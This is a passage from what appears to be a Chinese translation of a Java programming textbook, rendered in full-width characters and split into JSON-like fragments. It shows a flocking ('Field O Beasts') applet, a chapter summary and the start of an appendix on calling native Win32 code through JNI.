ａＢｅａｓｔ．ｂｅａｒｉｎｇＦｒｏｍＰｏｉｎｔＡｌｏｎｇＡｘｉｓ（ ｘ， ｙ， ｃｕｒｒｅｎｔＤｉｒｅｃｔｉｏｎ）； ｔｏｔａｌＢｅａｒｉｎｇ ＋＝ ｂｅａｒｉｎｇ； ｆｌｏａｔ ｄｉｓｔａｎｃｅＴｏＢｅａｓｔ ＝ ａＢｅａｓｔ．ｄｉｓｔａｎｃｅＦｒｏｍＰｏｉｎｔ（ｘ， ｙ）； ｉｆ（ｄｉｓｔａｎｃｅＴｏＢｅａｓｔ ＜ ｄｉｓｔａｎｃｅＴｏＮｅａｒｅｓｔ） ｛ ｎｅａｒｅｓｔＢｅａｓｔ ＝ ａＢｅａｓｔ； ｄｉｓｔａｎｃｅＴｏＮｅａｒｅｓｔ ＝ ｄｉｓｔａｎｃｅＴｏＢｅａｓｔ； ｝ ｝ ／／ Ｒｕｌｅ １： Ｍａｔｃｈ ａｖｅｒａｇｅ ｓｐｅｅｄ ｏｆ ｔｈｏｓｅ ／／ ｉｎ ｔｈｅ ｌｉｓｔ： ｃｕｒｒｅｎｔＳｐｅｅｄ ＝ ｔｏｔａｌＳｐｅｅｄ ／ ｓｅｅｎ．ｓｉｚｅ（）； ／／ Ｒｕｌｅ ２： Ｍｏｖｅ ｔｏｗａｒｄｓ ｔｈｅ ｐｅｒｃｅｉｖｅｄ ／／ ｃｅｎｔｅｒ ｏｆ ｇｒａｖｉｔｙ ｏｆ ｔｈｅ ｈｅｒｄ： ｃｕｒｒｅｎｔＤｉｒｅｃｔｉｏｎ ＝ ｔｏｔａｌＢｅａｒｉｎｇ ／ ｓｅｅｎ．ｓｉｚｅ（）； ／／ Ｒｕｌｅ ３： Ｍａｉｎｔａｉｎ ａ ｍｉｎｉｍｕｍ ｄｉｓｔａｎｃｅ ／／ ｆｒｏｍ ｔｈｏｓｅ ａｒｏｕｎｄ ｙｏｕ： ６４４ ｉｆ（ｄｉｓｔａｎｃｅＴｏＮｅａｒｅｓｔ ＜＝ ｆｉｅｌｄ．ｍｉｎｉｍｕｍＤｉｓｔａｎｃｅ） ｛ ｃｕｒｒｅｎｔＤｉｒｅｃｔｉｏｎ ＝ ｎｅａｒｅｓｔＢｅａｓｔ．ｃｕｒｒｅｎｔＤｉｒｅｃｔｉｏｎ； ｃｕｒｒｅｎｔＳｐｅｅｄ ＝ ｎｅａｒｅｓｔＢｅａｓｔ．ｃｕｒｒｅｎｔＳｐｅｅｄ； ｉｆ（ｃｕｒｒｅｎｔＳｐｅｅｄ ＞ ｆｉｅｌｄ．ｍａｘＳｐｅｅｄ） ｛ ｃｕｒｒｅｎｔＳｐｅｅｄ ＝ ｆｉｅｌｄ．ｍａｘＳｐｅｅｄ； ｝ ｝ ｝ ｅｌｓｅ ｛ ／／ Ｙｏｕ ａｒｅ ｉｎ ｆｒｏｎｔ， ｓｏ ｓｌｏｗ ｄｏｗｎ ｃｕｒｒｅｎｔＳｐｅｅｄ ＝ （ｉｎｔ）（ｃｕｒｒｅｎｔＳｐｅｅｄ ＊ ｆｉｅｌｄ．ｄｅｃａｙＲａｔｅ）； ｝ ／／ Ｍａｋｅ ｔｈｅ ｂｅａｓｔ ｍｏｖｅ： ｘ ＋＝ （ｉｎｔ）（Ｍａｔｈ．ｃｏｓ（ｃｕｒｒｅｎｔＤｉｒｅｃｔｉｏｎ） ＊ ｃｕｒｒｅｎｔＳｐｅｅｄ）； ｙ ＋＝ （ｉｎｔ）（Ｍａｔｈ．ｓｉｎ（ｃｕｒｒｅｎｔＤｉｒｅｃｔｉｏｎ） ＊ ｃｕｒｒｅｎｔＳｐｅｅｄ）； ｘ ％＝ ｆｉｅｌｄ．ｘＥｘｔｅｎｔ； ｙ ％＝ ｆｉｅｌｄ．ｙＥｘｔｅｎｔ； ｉｆ（ｘ ＜ ０） ｘ ＋＝ ｆｉｅｌｄ．ｘＥｘｔｅｎｔ； ｉｆ（ｙ ＜ ０） ｙ ＋＝ ｆｉｅｌｄ．ｙＥｘｔｅｎｔ；"},
    {"text": "｝ ｐｕｂｌｉｃ ｆｌｏａｔ ｂｅａｒｉｎｇＦｒｏｍＰｏｉｎｔＡｌｏｎｇＡｘｉｓ （ ｉｎｔ ｏｒｉｇｉｎＸ， ｉｎｔ ｏｒｉｇｉｎＹ， ｆｌｏａｔ ａｘｉｓ） ｛ ／／ Ｒｅｔｕｒｎｓ ｂｅａｒｉｎｇ ａｎｇｌｅ ｏｆ ｔｈｅ ｃｕｒｒｅｎｔ Ｂｅａｓｔ ／／ ｉｎ ｔｈｅ ｗｏｒｌｄ ｃｏｏｒｄｉａｎｔｅ ｓｙｓｔｅｍ ｔｒｙ ｛ ｄｏｕｂｌｅ ｂｅａｒｉｎｇＩｎＲａｄｉａｎｓ ＝ Ｍａｔｈ．ａｔａｎ（ （ｔｈｉｓ．ｙ － ｏｒｉｇｉｎＹ） ／ （ｔｈｉｓ．ｘ － ｏｒｉｇｉｎＸ））； ／／ Ｉｎｖｅｒｓｅ ｔａｎ ｈａｓ ｔｗｏ ｓｏｌｕｔｉｏｎｓ， ｓｏ ｙｏｕ ／／ ｈａｖｅ ｔｏ ｃｏｒｒｅｃｔ ｆｏｒ ｏｔｈｅｒ ｑｕａｒｔｅｒｓ： ｉｆ（ｘ ＜ ｏｒｉｇｉｎＸ） ｛ ｉｆ（ｙ ＜ ｏｒｉｇｉｎＹ） ｛ ｂｅａｒｉｎｇＩｎＲａｄｉａｎｓ ＋＝ － （ｆｌｏａｔ）Ｍａｔｈ．ＰＩ； ｝ ｅｌｓｅ ｛ ｂｅａｒｉｎｇＩｎＲａｄｉａｎｓ ＝ （ｆｌｏａｔ）Ｍａｔｈ．ＰＩ － ｂｅａｒｉｎｇＩｎＲａｄｉａｎｓ； ｝ ｝ ／／ Ｊｕｓｔ ｓｕｂｔｒａｃｔ ｔｈｅ ａｘｉｓ （ｉｎ ｒａｄｉａｎｓ）： ｒｅｔｕｒｎ （ｆｌｏａｔ） （ａｘｉｓ － ｂｅａｒｉｎｇＩｎＲａｄｉａｎｓ）； ｝ ｃａｔｃｈ（ＡｒｉｔｈｍｅｔｉｃＥｘｃｅｐｔｉｏｎ ａＥ） ｛ ／／ Ｄｉｖｉｄｅ ｂｙ ０ ｅｒｒｏｒ ｐｏｓｓｉｂｌｅ ｏｎ ｔｈｉｓ ｉｆ（ｘ ＞ ｏｒｉｇｉｎＸ） ｛ ｒｅｔｕｒｎ ０； ６４５ ｝ ｅｌｓｅ ｒｅｔｕｒｎ （ｆｌｏａｔ） Ｍａｔｈ．ＰＩ； ｝ ｝ ｐｕｂｌｉｃ ｆｌｏａｔ ｄｉｓｔａｎｃｅＦｒｏｍＰｏｉｎｔ（ｉｎｔ ｘ１， ｉｎｔ ｙ１）｛ ｒｅｔｕｒｎ （ｆｌｏａｔ） Ｍａｔｈ．ｓｑｒｔ（ Ｍａｔｈ．ｐｏｗ（ｘ１ － ｘ， ２） ＋ Ｍａｔｈ．ｐｏｗ（ｙ１ － ｙ， ２））； ｝ ｐｕｂｌｉｃ Ｐｏｉｎｔ ｐｏｓｉｔｉｏｎ（） ｛ ｒｅｔｕｒｎ ｎｅｗ Ｐｏｉｎｔ（ｘ， ｙ）； ｝ ／／ Ｂｅａｓｔｓ ｋｎｏｗ ｈｏｗ ｔｏ ｄｒａｗ ｔｈｅｍｓｅｌｖｅｓ： ｐｕｂｌｉｃ ｖｏｉｄ ｄｒａｗ（Ｇｒａｐｈｉｃｓ ｇ） ｛ ｇ．ｓｅｔＣｏｌｏｒ（ｃｏｌｏｒ）； ｉｎｔ ｄｉｒｅｃｔｉｏｎＩｎＤｅｇｒｅｅｓ ＝ （ｉｎｔ）（ （ｃｕｒｒｅｎｔＤｉｒｅｃｔｉｏｎ ＊ ３６０） ／ （２ ＊ Ｍａｔｈ．ＰＩ））； ｉｎｔ ｓｔａｒｔＡｎｇｌｅ ＝ ｄｉｒｅｃｔｉｏｎＩｎＤｅｇｒｅｅｓ － ＦｉｅｌｄＯＢｅａｓｔｓ．ｈａｌｆＦｉｅｌｄＯｆＶｉｅｗ； ｉｎｔ ｅｎｄＡｎｇｌｅ ＝ ９０； ｇ．ｆｉｌｌＡｒｃ（ｘ， ｙ， ＧＳＩＺＥ， ＧＳＩＺＥ， ｓｔａｒｔＡｎｇｌｅ， ｅｎｄＡｎｇｌｅ）； ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＦｉｅｌｄＯＢｅａｓｔｓ ｅｘｔｅｎｄｓ Ａｐｐｌｅｔ ｉｍｐｌｅｍｅｎｔｓ Ｒｕｎｎａｂｌｅ ｛ ｐｒｉｖａｔｅ Ｖｅｃｔｏｒ ｂｅａｓｔｓ； ｓｔａｔｉｃ ｆｌｏａｔ ｆｉｅｌｄＯｆＶｉｅｗ ＝ （ｆｌｏａｔ） （Ｍａｔｈ．ＰＩ ／ ４）， ／／ Ｉｎ ｒａｄｉａｎｓ ／／ Ｄｅｃｅｌｅｒａｔｉｏｎ ％ ｐｅｒ ｓｅｃｏｎｄ： ｄｅｃａｙＲａｔｅ ＝ １．０ｆ， ｍｉｎｉｍｕｍＤｉｓｔａｎｃｅ ＝ １０ｆ； ／／ Ｉｎ ｐｉｘｅｌｓ ｓｔａｔｉｃ ｉｎｔ ｈａｌｆＦｉｅｌｄＯｆＶｉｅｗ ＝ （ｉｎｔ）（ （ｆｉｅｌｄＯｆＶｉｅｗ ＊ ３６０） ／ （２ ＊ Ｍａｔｈ．ＰＩ））， ｘＥｘｔｅｎｔ ＝ ０， ｙＥｘｔｅｎｔ ＝ ０， ｎｕｍＢｅａｓｔｓ ＝ ５０， ｍａｘＳｐｅｅｄ ＝ ２０； ／／ Ｐｉｘｅｌｓ／ｓｅｃｏｎｄ ｂｏｏｌｅａｎ ｕｎｉｑｕｅＣｏｌｏｒｓ ＝ ｔｒｕｅ； Ｔｈｒｅａｄ ｔｈｉｓＴｈｒｅａｄ； ｉｎｔ ｄｅｌａｙ ＝ ２５； ｐｕｂｌｉｃ ｖｏｉｄ ｉｎｉｔ（） ｛ ｉｆ （ｘＥｘｔｅｎｔ ＝＝ ０ ＆＆ ｙＥｘｔｅｎｔ ＝＝ ０） ｛ ｘＥｘｔｅｎｔ ＝ Ｉｎｔｅｇｅｒ．ｐａｒｓｅＩｎｔ（ ｇｅｔＰａｒａｍｅｔｅｒ（＂ｘＥｘｔｅｎｔ＂））； ｙＥｘｔｅｎｔ ＝ Ｉｎｔｅｇｅｒ．ｐａｒｓｅＩｎｔ（ ｇｅｔＰａｒａｍｅｔｅｒ（＂ｙＥｘｔｅｎｔ＂））； ｝ ６４６ ｂｅａｓｔｓ ＝ ｍａｋｅＢｅａｓｔＶｅｃｔｏｒ（ｎｕｍＢｅａｓｔｓ， ｕｎｉｑｕｅＣｏｌｏｒｓ）； ／／ Ｎｏｗ ｓｔａｒｔ ｔｈｅ ｂｅａｓｔｓ ａ－ｒｏｖｉｎ＇： ｔｈｉｓＴｈｒｅａｄ ＝ ｎｅｗ Ｔｈｒｅａｄ（ｔｈｉｓ）； ｔｈｉｓＴｈｒｅａｄ．ｓｔａｒｔ（）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｒｕｎ（） ｛ ｗｈｉｌｅ（ｔｒｕｅ） ｛ ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｂｅａｓｔｓ．ｓｉｚｅ（）； ｉ＋＋）｛ Ｂｅａｓｔ ｂ ＝ （Ｂｅａｓｔ） ｂｅａｓｔｓ．ｅｌｅｍｅｎｔＡｔ（ｉ）； ｂ．ｓｔｅｐ（）； ｝ ｔｒｙ ｛ ｔｈｉｓＴｈｒｅａｄ．ｓｌｅｅｐ（ｄｅｌａｙ）； ｝ ｃａｔｃｈ（ＩｎｔｅｒｒｕｐｔｅｄＥｘｃｅｐｔｉｏｎ ｅｘ）｛｝ ｒｅｐａｉｎｔ（）； ／／ Ｏｔｈｅｒｗｉｓｅ ｉｔ ｗｏｎ＇ｔ ｕｐｄａｔｅ ｝ ｝ Ｖｅｃｔｏｒ ｍａｋｅＢｅａｓｔＶｅｃｔｏｒ（ ｉｎｔ ｑｕａｎｔｉｔｙ， ｂｏｏｌｅａｎ ｕｎｉｑｕｅＣｏｌｏｒｓ） ｛ Ｖｅｃｔｏｒ ｎｅｗＢｅａｓｔｓ ＝ ｎｅｗ Ｖｅｃｔｏｒ（）； Ｒａｎｄｏｍ ｇｅｎｅｒａｔｏｒ ＝ ｎｅｗ Ｒａｎｄｏｍ（）； ／／ Ｕｓｅｄ ｏｎｌｙ ｉｆ ｕｎｉｑｕｅＣｏｌｏｒｓ ｉｓ ｏｎ： ｄｏｕｂｌｅ ｃｕｂｅＲｏｏｔＯｆＢｅａｓｔＮｕｍｂｅｒ ＝ Ｍａｔｈ．ｐｏｗ（（ｄｏｕｂｌｅ）ｎｕｍＢｅａｓｔｓ， １．０ ／ ３．０）；"},
    {"text": "ｆｌｏａｔ ｃｏｌｏｒＣｕｂｅＳｔｅｐＳｉｚｅ ＝ （ｆｌｏａｔ） （１．０ ／ ｃｕｂｅＲｏｏｔＯｆＢｅａｓｔＮｕｍｂｅｒ）； ｆｌｏａｔ ｒ ＝ ０．０ｆ； ｆｌｏａｔ ｇ ＝ ０．０ｆ； ｆｌｏａｔ ｂ ＝ ０．０ｆ； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｑｕａｎｔｉｔｙ； ｉ＋＋） ｛ ｉｎｔ ｘ ＝ （ｉｎｔ） （ｇｅｎｅｒａｔｏｒ．ｎｅｘｔＦｌｏａｔ（） ＊ ｘＥｘｔｅｎｔ）； ｉｆ（ｘ ＞ ｘＥｘｔｅｎｔ － Ｂｅａｓｔ．ＧＳＩＺＥ） ｘ －＝ Ｂｅａｓｔ．ＧＳＩＺＥ； ｉｎｔ ｙ ＝ （ｉｎｔ） （ｇｅｎｅｒａｔｏｒ．ｎｅｘｔＦｌｏａｔ（） ＊ ｙＥｘｔｅｎｔ）； ｉｆ（ｙ ＞ ｙＥｘｔｅｎｔ － Ｂｅａｓｔ．ＧＳＩＺＥ） ｙ －＝ Ｂｅａｓｔ．ＧＳＩＺＥ； ｆｌｏａｔ ｄｉｒｅｃｔｉｏｎ ＝ （ｆｌｏａｔ）（ ｇｅｎｅｒａｔｏｒ．ｎｅｘｔＦｌｏａｔ（） ＊ ２ ＊ Ｍａｔｈ．ＰＩ）； ｉｎｔ ｓｐｅｅｄ ＝ （ｉｎｔ）（ ｇｅｎｅｒａｔｏｒ．ｎｅｘｔＦｌｏａｔ（） ＊ （ｆｌｏａｔ）ｍａｘＳｐｅｅｄ）； ｉｆ（ｕｎｉｑｕｅＣｏｌｏｒｓ） ｛ ｒ ＋＝ ｃｏｌｏｒＣｕｂｅＳｔｅｐＳｉｚｅ； ｉｆ（ｒ ＞ １．０） ｛ ｒ －＝ １．０ｆ； ｇ ＋＝ ｃｏｌｏｒＣｕｂｅＳｔｅｐＳｉｚｅ； ｉｆ（ ｇ ＞ １．０） ｛ ｇ －＝ １．０ｆ； ｂ ＋＝ ｃｏｌｏｒＣｕｂｅＳｔｅｐＳｉｚｅ； ｉｆ（ｂ ＞ １．０） ６４７ ｂ －＝ １．０ｆ； ｝ ｝ ｝ ｎｅｗＢｅａｓｔｓ．ａｄｄＥｌｅｍｅｎｔ（ ｎｅｗ Ｂｅａｓｔ（ｔｈｉｓ， ｘ， ｙ， ｄｉｒｅｃｔｉｏｎ， ｓｐｅｅｄ， ｎｅｗ Ｃｏｌｏｒ（ｒ，ｇ，ｂ）））； ｝ ｒｅｔｕｒｎ ｎｅｗＢｅａｓｔｓ； ｝ ｐｕｂｌｉｃ Ｖｅｃｔｏｒ ｂｅａｓｔＬｉｓｔＩｎＳｅｃｔｏｒ（Ｂｅａｓｔ ｖｉｅｗｅｒ） ｛ Ｖｅｃｔｏｒ ｏｕｔｐｕｔ ＝ ｎｅｗ Ｖｅｃｔｏｒ（）； Ｅｎｕｍｅｒａｔｉｏｎ ｅ ＝ ｂｅａｓｔｓ．ｅｌｅｍｅｎｔｓ（）； Ｂｅａｓｔ ａＢｅａｓｔ ＝ （Ｂｅａｓｔ）ｂｅａｓｔｓ．ｅｌｅｍｅｎｔＡｔ（０）； ｉｎｔ ｃｏｕｎｔｅｒ ＝ ０； ｗｈｉｌｅ（ｅ．ｈａｓＭｏｒｅＥｌｅｍｅｎｔｓ（）） ｛ ａＢｅａｓｔ ＝ （Ｂｅａｓｔ） ｅ．ｎｅｘｔＥｌｅｍｅｎｔ（）；"},
    {"text": "＝ ｖｉｅｗｅｒ） ｛ Ｐｏｉｎｔ ｐ ＝ ａＢｅａｓｔ．ｐｏｓｉｔｉｏｎ（）； Ｐｏｉｎｔ ｖ ＝ ｖｉｅｗｅｒ．ｐｏｓｉｔｉｏｎ（）； ｆｌｏａｔ ｂｅａｒｉｎｇ ＝ ａＢｅａｓｔ．ｂｅａｒｉｎｇＦｒｏｍＰｏｉｎｔＡｌｏｎｇＡｘｉｓ（ ｖ．ｘ， ｖ．ｙ， ｖｉｅｗｅｒ．ｃｕｒｒｅｎｔＤｉｒｅｃｔｉｏｎ）； ｉｆ（Ｍａｔｈ．ａｂｓ（ｂｅａｒｉｎｇ） ＜ ｆｉｅｌｄＯｆＶｉｅｗ ／ ２） ｏｕｔｐｕｔ．ａｄｄＥｌｅｍｅｎｔ（ａＢｅａｓｔ）； ｝ ｝ ｒｅｔｕｒｎ ｏｕｔｐｕｔ； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｐａｉｎｔ（Ｇｒａｐｈｉｃｓ ｇ） ｛ Ｅｎｕｍｅｒａｔｉｏｎ ｅ ＝ ｂｅａｓｔｓ．ｅｌｅｍｅｎｔｓ（）； ｗｈｉｌｅ（ｅ．ｈａｓＭｏｒｅＥｌｅｍｅｎｔｓ（）） ｛ （（Ｂｅａｓｔ）ｅ．ｎｅｘｔＥｌｅｍｅｎｔ（））．ｄｒａｗ（ｇ）； ｝ ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ＦｉｅｌｄＯＢｅａｓｔｓ ｆｉｅｌｄ ＝ ｎｅｗ ＦｉｅｌｄＯＢｅａｓｔｓ（）； ｆｉｅｌｄ．ｘＥｘｔｅｎｔ ＝ ６４０； ｆｉｅｌｄ．ｙＥｘｔｅｎｔ ＝ ４８０； Ｆｒａｍｅ ｆｒａｍｅ ＝ ｎｅｗ Ｆｒａｍｅ（＂Ｆｉｅｌｄ ＇Ｏ Ｂｅａｓｔｓ＂）； ／／ Ｏｐｔｉｏｎａｌｌｙ ｕｓｅ ａ ｃｏｍｍａｎｄ－ｌｉｎｅ ａｒｇｕｍｅｎｔ ／／ ｆｏｒ ｔｈｅ ｓｌｅｅｐ ｔｉｍｅ： ｉｆ（ａｒｇｓ．ｌｅｎｇｔｈ ＞＝ １） ｆｉｅｌｄ．ｄｅｌａｙ ＝ Ｉｎｔｅｇｅｒ．ｐａｒｓｅＩｎｔ（ａｒｇｓ［０］）； ｆｒａｍｅ．ａｄｄＷｉｎｄｏｗＬｉｓｔｅｎｅｒ（ ｎｅｗ ＷｉｎｄｏｗＡｄａｐｔｅｒ（） ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｗｉｎｄｏｗＣｌｏｓｉｎｇ（ＷｉｎｄｏｗＥｖｅｎｔ ｅ） ｛ Ｓｙｓｔｅｍ．ｅｘｉｔ（０）；"},
    {"text": "ｆｒａｍｅ．ａｄｄ（ｆｉｅｌｄ， ＢｏｒｄｅｒＬａｙｏｕｔ．ＣＥＮＴＥＲ）； ｆｒａｍｅ．ｓｅｔＳｉｚｅ（６４０，４８０）； ６４８ ｆｉｅｌｄ．ｉｎｉｔ（）； ｆｉｅｌｄ．ｓｔａｒｔ（）； ｆｒａｍｅ．ｓｅｔＶｉｓｉｂｌｅ（ｔｒｕｅ）；"},
    {"text": "至于与这种群聚行为有关的更多的情况，大家可以访问 Ｃｒａｉｇ Ｒｅｙｎｏｌｄ 的主页——在那个地方，甚至还提供了 Ｂｏｉｄｓ 一个公开的 ３Ｄ 展示版本： ｈｔｔｐ：／／ｗｗｗ．ｈｍｔ．ｃｏｍ／ｃｗｒ／ｂｏｉｄｓ．ｈｔｍｌ 为了将这个程序作为一个程序片运行，请在 ＨＴＭＬ 文件中设置下述程序片标志： ＜ａｐｐｌｅｔ ｃｏｄｅ＝ＦｉｅｌｄＯＢｅａｓｔｓ ｗｉｄｔｈ＝６４０ ｈｅｉｇｈｔ＝４８０＞ ＜ｐａｒａｍ ｎａｍｅ＝ｘＥｘｔｅｎｔ ｖａｌｕｅ ＝ ＂６４０＂＞ ＜ｐａｒａｍ ｎａｍｅ＝ｙＥｘｔｅｎｔ ｖａｌｕｅ ＝ ＂４８０＂＞ ＜／ａｐｐｌｅｔ＞ １ ７ ． ４ 总结 通过本章的学习，大家知道运用 Ｊａｖａ 可做到一些较复杂的事情。"},
    {"text": "通过这些例子亦可看出，尽管 Ｊａｖａ 必定有 自己的局限，但受那些局限影响的主要是性能（比如写好文字处理程序后，会发现 Ｃ＋＋的版本要快得多—— 这部分是由于 ＩＯ 库做得不完善造成的；"},
    {"text": "但 Ｊａｖａ 的局限也 仅此而已，它在语言表达方面的能力是无以伦比的。 利用 Ｊａｖａ，几乎可以表达出我们想得到的任何事情。 而 与此同时，Ｊａｖａ 在表达的方便性和易读性上，也做足了功夫。 所以在使用 Ｊａｖａ 时，一般不会陷入其他语言 常见的那种复杂境地。 使用那些语言时，会感觉它们象一个爱唠叨的老太婆，哪有 Ｊａｖａ 那样清纯、简练！"},
    {"text": "例如，我们有时要访问操作系统的专用特性，与特殊的硬件设备打交道，重复使用现有的 非 Ｊａｖａ 接口，或者要使用“对时间敏感”的代码段，等等。"},
    {"text": "与非 Ｊａｖａ 代码的沟通要求获得编译器和“虚拟 机”的专门支持，并需附加的工具将 Ｊａｖａ 代码映射成非 Ｊａｖａ 代码（也有一个简单方法：在第 １５ 章的“一个 Ｗｅｂ 应用”小节中，有个例子解释了如何利用标准输入输出同非 Ｊａｖａ 代码连接）。"},
    {"text": "目前，不同的开发商为我 们提供了不同的方案：Ｊａｖａ １．１ 有“Ｊａｖａ 固有接口”（Ｊａｖａ Ｎａｔｉｖｅ Ｉｎｔｅｒｆａｃｅ，ＪＮＩ），网景提出了自己的 “Ｊａｖａ 运行期接口”（Ｊａｖａ Ｒｕｎｔｉｍｅ Ｉｎｔｅｒｆａｃｅ）计划，而微软提供了 Ｊ／Ｄｉｒｅｃｔ、“本源接口”（Ｒａｗ Ｎａｔｉｖｅ Ｉｎｔｅｒｆａｃｅ，ＲＮＩ）以及 Ｊａｖａ／ＣＯＭ 集成方案。"},
    {"text": "若 Ｊａｖａ 应用必须调用固有方法，则程序员或 许要实现固有方法的不同版本——具体由应用程序运行的平台决定。 程序员也许实际需要不同版本的 Ｊａｖａ 代 码，以及不同的 Ｊａｖａ 虚拟机。"},
    {"text": "Ａ ． １ Ｊ ａ ｖ ａ 固有接口 ＪＮＩ 是一种包容极广的编程接口，允许我们从 Ｊａｖａ 应用程序里调用固有方法。 它是在 Ｊａｖａ １．１ 里新增的， 维持着与 Ｊａｖａ １．０ 的相应特性——“固有方法接口”（ＮＭＩ）——某种程度的兼容。"},
    {"text": "利用 ＪＮＩ，我们的固有方法可以： ■创建、检查及更新 Ｊａｖａ 对象（包括数组和字串） ■调用 Ｊａｖａ 方法 ■俘获和丢弃“异常” ■装载类并获取类信息 ■进行运行期类型检查 所以，原来在 Ｊａｖａ 中能对类及对象做的几乎所有事情在固有方法中同样可以做到。 Ａ ． １ ． １ 调用固有方法 我们先从一个简单的例子开始：一个 Ｊａｖａ 程序调用固有方法，后者再调用 Ｗｉｎ３２ 的 ＡＰＩ 函数 ＭｅｓｓａｇｅＢｏｘ（），显示出一个图形化的文本框。"},
    {"text": "若您的平台不是 Ｗｉｎ３２，只需将包含了下述内容的 Ｃ 头： ＃ｉｎｃｌｕｄｅ ＜ｗｉｎｄｏｗｓ．ｈ＞ 替换成： ＃ｉｎｃｌｕｄｅ ＜ｓｔｄｉｏ．ｈ＞ 并将对 ＭｅｓｓａｇｅＢｏｘ（）的调用换成调用 ｐｒｉｎｔｆ（）即可。"},
    {"text": "第一步是写出对固有方法及它的自变量进行声明的 Ｊａｖａ 代码： ｃｌａｓｓ ＳｈｏｗＭｓｇＢｏｘ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ ［］ ａｒｇｓ） ｛ ＳｈｏｗＭｓｇＢｏｘ ａｐｐ ＝ ｎｅｗ ＳｈｏｗＭｓｇＢｏｘ（）；"},
    {"text": "ａｐｐ．ＳｈｏｗＭｅｓｓａｇｅ（＂Ｇｅｎｅｒａｔｅｄ ｗｉｔｈ ＪＮＩ＂）； ｝ ６５０ ｐｒｉｖａｔｅ ｎａｔｉｖｅ ｖｏｉｄ ＳｈｏｗＭｅｓｓａｇｅ（Ｓｔｒｉｎｇ ｍｓｇ）； ｓｔａｔｉｃ ｛ Ｓｙｓｔｅｍ．ｌｏａｄＬｉｂｒａｒｙ（＂ＭｓｇＩｍｐｌ＂）；"},
    {"text": "｝ ｝ 在固有方法声明的后面，跟随有一个 ｓｔａｔｉｃ 代码块，它会调用 Ｓｙｓｔｅｍ．ｌｏａｄＬｉｂｒａｒｙ（）（可在任何时候调用 它，但这样做更恰当）Ｓｙｓｔｅｍ．ｌｏａｄＬｉｂｒａｒｙ（）将一个 ＤＬＬ 载入内存，并建立同它的链接。"},
    {"text": "１． Ｃ 头文件生成器：ｊａｖａｈ 现在编译您的 Ｊａｖａ 源文件，并对编译出来的．ｃｌａｓｓ 文件运行 ｊａｖａｈ。 ｊａｖａｈ 是在 １．０ 版里提供的，但由于我 们要使用 Ｊａｖａ １．１ ＪＮＩ，所以必须指定－ｊｎｉ 参数： ｊａｖａｈ －ｊｎｉ ＳｈｏｗＭｓｇＢｏｘ ｊａｖａｈ 会读入类文件，并为每个固有方法声明在 Ｃ 或 Ｃ＋＋头文件里生成一个函数原型。"},
    {"text": "下面是输出结果—— ＳｈｏｗＭｓｇＢｏｘ．ｈ 源文件（为符合本书的要求，稍微进行了一下修改）： ／＊ ＤＯ ＮＯＴ ＥＤＩＴ ＴＨＩＳ ＦＩＬＥ － ｉｔ ｉｓ ｍａｃｈｉｎｅ ｇｅｎｅｒａｔｅｄ ＊／ ＃ｉｎｃｌｕｄｅ ＜ｊｎｉ．ｈ＞ ／＊ Ｈｅａｄｅｒ ｆｏｒ ｃｌａｓｓ ＳｈｏｗＭｓｇＢｏｘ ＊／ ＃ｉｆｎｄｅｆ ＿Ｉｎｃｌｕｄｅｄ＿ＳｈｏｗＭｓｇＢｏｘ ＃ｄｅｆｉｎｅ ＿Ｉｎｃｌｕｄｅｄ＿ＳｈｏｗＭｓｇＢｏｘ ＃ｉｆｄｅｆ ＿＿ｃｐｌｕｓｐｌｕｓ ｅｘｔｅｒｎ ＂Ｃ＂ ｛ ＃ｅｎｄｉｆ ／＊ ＊ Ｃｌａｓｓ： ＳｈｏｗＭｓｇＢｏｘ ＊ Ｍｅｔｈｏｄ： ＳｈｏｗＭｅｓｓａｇｅ ＊ Ｓｉｇｎａｔｕｒｅ： （Ｌｊａｖａ／ｌａｎｇ／Ｓｔｒｉｎｇ；"},
    {"text": "）Ｖ ＊／ ＪＮＩＥＸＰＯＲＴ ｖｏｉｄ ＪＮＩＣＡＬＬ Ｊａｖａ＿ＳｈｏｗＭｓｇＢｏｘ＿ＳｈｏｗＭｅｓｓａｇｅ （ＪＮＩＥｎｖ ＊， ｊｏｂｊｅｃｔ， ｊｓｔｒｉｎｇ）；"},
    {"text": "＃ｉｆｄｅｆ ＿＿ｃｐｌｕｓｐｌｕｓ ｝ ＃ｅｎｄｉｆ ＃ｅｎｄｉｆ 从“＃ｉｆｄｅｆ＿ｃｐｌｕｓｐｌｕｓ”这个预处理引导命令可以看出，该文件既可由 Ｃ 编译器编译，亦可由 Ｃ＋＋编译器编 译。"},
    {"text": "随后，它会编译和链接到一个名为 ＭｓｇＩｍｐｌ．ｄｌｌ 的文件里： ＃ｉｎｃｌｕｄｅ ＜ｗｉｎｄｏｗｓ．ｈ＞ ＃ｉｎｃｌｕｄｅ ＂ＳｈｏｗＭｓｇＢｏｘ．ｈ＂ ＢＯＯＬ ＡＰＩＥＮＴＲＹ ＤｌｌＭａｉｎ（ＨＡＮＤＬＥ ｈＭｏｄｕｌｅ， ＤＷＯＲＤ ｄｗＲｅａｓｏｎ， ｖｏｉｄ＊＊ ｌｐＲｅｓｅｒｖｅｄ） ｛ ｒｅｔｕｒｎ ＴＲＵＥ；"},
